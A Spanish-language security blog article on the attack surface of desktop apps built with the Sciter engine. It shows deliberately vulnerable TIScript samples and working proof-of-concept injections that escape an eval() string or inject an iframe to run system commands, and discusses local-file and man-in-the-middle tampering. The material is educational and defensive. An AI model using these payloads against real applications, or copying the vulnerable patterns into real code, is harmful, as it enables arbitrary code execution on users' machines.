Cabecera blog ciberseguridad

Seguridad en aplicaciones basadas en SCITER

Sciter es un motor embebible para la creación de interfaces de usuario en aplicaciones de escritorio multi-plataforma. El diseño de las interfaces se realiza a través de HTML, CSS y TIScript, siendo éste último un lenguaje con similitudes con JavaScript y acceso a una serie de APIs que permiten el manejo de ficheros, conexiones, ejecución de comandos, etc. Es el motor utilizado para las interfaces de, por ejemplo, algunos AntiVirus como Symantec, ESET, Avast… y en videojuegos como War Thunder.

Este artículo pretende centrarse en analizar la superficie de ataque de aplicaciones que puedan utilizar Sciter para generar sus interfaces. Las debilidades o incorrectas implementaciones comentadas en este artículo no significan que Sciter sea vulnerable, de la misma forma que PHP no es vulnerable por tener un constructor del lenguaje como eval(): lo que se pretende reflejar son debilidades asociadas a una mala implementación.

0x00 Introducción a Sciter

Como se ha comentado arriba, la principal característica de Sciter es poder diseñar e implementar potentes interfaces utilizando tecnologías frontend. Al mismo tiempo que permite el trabajo con HTML y CSS, Sciter posee su propio lenguaje de scripting llamado “TIScript”, el cual tiene una sintaxis similar a la de JavaScript así como algunas implementaciones extra. Este componente de scripting dota a los recursos HTML de mayor maleabilidad, así como la posibilidad de interactuar con diferentes APIs que enriquecen al motor, tales como el ejecutar comandos del sistema, manipular ficheros, trabajar con sockets, etc.

Un sencillo ejemplo de un HTML que hace uso de TISscript para ejecutar un proceso del sistema es el siguiente:

<html>
  <head>
    <title></title>
    <style></style>
    <script type="text/tiscript">
    function self.ready() {
      System.Process.exec("calc");
  }
    </script>
  </head>
<body>
<h1>Pwn test!</h1>
</body>
</html>
Inicio de proceso calc.exe a través de TISscript en SCITER

Inicio de proceso calc.exe a través de TISscript en SCITER

Los métodos del objeto System se pueden deshabilitar a la hora de crear la VM, no obstante el ejemplo puede trasladarse a cualquier otro objeto con métodos interesantes tales como el manejo de ficheros o la realización de conexiones.

Desde el punto de vista de la seguridad de una aplicación desarrollada utilizando Sciter es interesante analizar los vectores a través de los cuales un usuario malintencionado puede inyectar código TIScript arbitrario en el contexto de una aplicación legítima. Generalizando podemos diferenciar dos escenarios en los que pueda darse esta situación: la inyección de código a través de una cadena de texto controlada al menos parcialmente por un usuario y la manipulación de recursos que sean cargados por la aplicación.

0x01 Inyección de código

Este tipo de vulnerabilidades están presentes de manera continuada en el frontend de aplicaciones web que manejan de manera insegura entradas suministradas por los usuarios. Como buque insignia de este tipo de vulnerabilidades se encontrarían los Cross-Site Scripting (XSS).

En el caso de una aplicación desarrollada con Sciter, al tratarse de tecnologías frontend para generar la GUI, es posible trasladar de forma inconsciente estos mismos errores. Donde antes tendríamos un Cross-Site Scripting con una afectación en principio meramente client-side en el navegador aquí se traduce en la posibilidad de ejecutar código arbitrario en la máquina. Un XSS se convierte en un potencial RCE.

Un ejemplo directo de inyección de código puede ser la presencia de una llamada a la función eval() utilizando como argumento una cadena de texto cuyo contenido es parcialmente controlado por el usuario. La explotación es análoga a la que se realiza en otros lenguajes como JavaScript o PHP: cerrando el contexto de la cadena y añadiendo nuestro payload a continuación. En el siguiente ejemplo de código vulnerable se puede visualizar mejor:

<html>
  <head>
    <title></title>
    <style></style>
    <script type="text/tiscript">
      
      function alert(msg) { view.msgbox(#information, msg);}

      $(button#get).onClick = function()
      {
        eval("alert(\"Hello " + $(form).value["name"] +"!\");");
      }
      
    
    </script>
  </head>
<body>
  <form>
      <input(name) novalue="Your name">
  </form>
  <button #get>Say Hello!</button>

</body>
</html>

En este ejemplo se puede ver cómo el script está concatenando el valor introducido en el formulario a una cadena para pasárselo como argumento a un alert, todo ello dentro de un eval(). Añadiendo una comilla doble se cierra el contexto del string y nos permite salir del alert para a continuación añadir nuestro código seguido de un comentario (//) evitando así errores de sintaxis:

");System.Process.exec("cmd", ["/c","start"]);//

De esta forma el argumento que recibirá el eval quedaría como:

alert("Hello ");System.Process.exec("cmd", ["/c","start"]);// !");

Primero se ejecutará el alert() (la llamada a view.msgbox()) y a continuación se abrirá una terminal.

Proceso ejecutado a través de la inyección de código TISscript

Proceso ejecutado a través de la inyección de código TISscript

Otra situación peligrosa puede darse cuando el desarrollador toma directamente algún dato y lo añade como contenido HTML directamente sin escapar adecuadamente. En esta situación es posible ejecutar código a través de, por ejemplo, iframes.

Sciter provee al desarrollador de distintas formas de poder cargar y ejecutar código (en el siguiente apartado profundizaremos más en esto), entre ellas almacenando un recurso en remoto e invocándolo a través de un iframe/frame. De esta forma podemos colocar en un servidor web el payload deseado e inyectarlo dentro de la aplicación a través de un iframe. Por ejemplo, en un código vulnerable como el siguiente:

<html>
  <head>
    <title></title>
    <style></style>
    <script type="text/tiscript">
      
       $(button#get).onClick = function()
      {
      $(div).html = "<h1> Hello " + $(form).value["name"] + "! </h1>";
      }
    
    </script>
  </head>
<body>

  <form>
      <input(name) novalue="Your name">
  </form>
  <button #get>Say hello</button>
  <div>
  </div>
</body>
</html>

Se puede observar en el ejemplo cómo dentro del elemento DIV se añade la cadena de texto procedente del formulario junto con un mensaje de salutación. La entrada no es escapada en ningún momento, por lo que es posible incluir etiquetas HTML que serán interpretadas por el motor de Sciter. En este caso, una opción sería incluir en un servidor remoto el siguiente código:

<html>
  <head>
    <title></title>
    <style></style>
    <script type="text/tiscript">

    function self.ready() { 
        System.Process.exec("cmd", ["/c", "start"]);
    } 
    </script> 
   </head> 
<body>
</body>
</html>

E incluirlo a través de un iframe:

<iframe src="https://localhost:8080/pwn.html" />

De esta forma la aplicación cargará y ejecutará nuestro código.

0x02 Manipulación de recursos

Tal y como se ha mencionado en el apartado anterior, Sciter es muy flexible en cuanto las vías a través de las cuales es posible cargar código. De manera genérica podemos hablar de:

– Código alojado dentro de la propia aplicación en forma de recurso.
– Código almacenado en ficheros locales.
– Código alojado en un servidor externo.

Siendo los dos últimos los más relevantes.

Es importante tener en cuenta que Sciter puede cargar y ejecutado código también directamente de un zip (tanto localmente como en remoto).

A) Carga de código desde un fichero local

El HTML/CSS/TIScript que compone la interfaz gráfica puede encontrarse almacenado en ficheros locales referenciados dentro del programa. De la misma forma, estos ficheros pueden cargar otros a través de iframes (como ya se ha visto), del método load() o incluso en el caso de scripts a través de “includes”.

La manipulación de ficheros locales con objeto de lograr ejecutar código arbitrario tiene sentido en escenarios donde la aplicación vaya a ser ejecutada por un usuario con más privilegios y las ACLs de estos ficheros no estén configuradas de manera adecuada, de tal forma que un usuario no privilegiado pueda aprovechar esta situación para elevar privilegios.

B) Carga de código desde servidor remoto

En este caso si se referencian los recursos externos utilizando protocolos inseguros (HTTP vs HTTPS), es posible obtener ejecución de código a través de un Man-in-the-Middle, modificando el contenido para añadir un payload malicioso. Si bien este escenario es poco afortunado, sigue siendo interesante en el contexto de un test de intrusión donde se desee comprometer otras máquinas del segmento.

0x04 Conclusiones

El uso de tecnologías frontend para la creación de aplicaciones multiplataforma está en boga, proyectos como Electron o Sciter son cada vez más usados, por lo que es necesario tener presente los posibles problemas asociados cuando se realice una revisión de seguridad sobre este tipo de aplicaciones.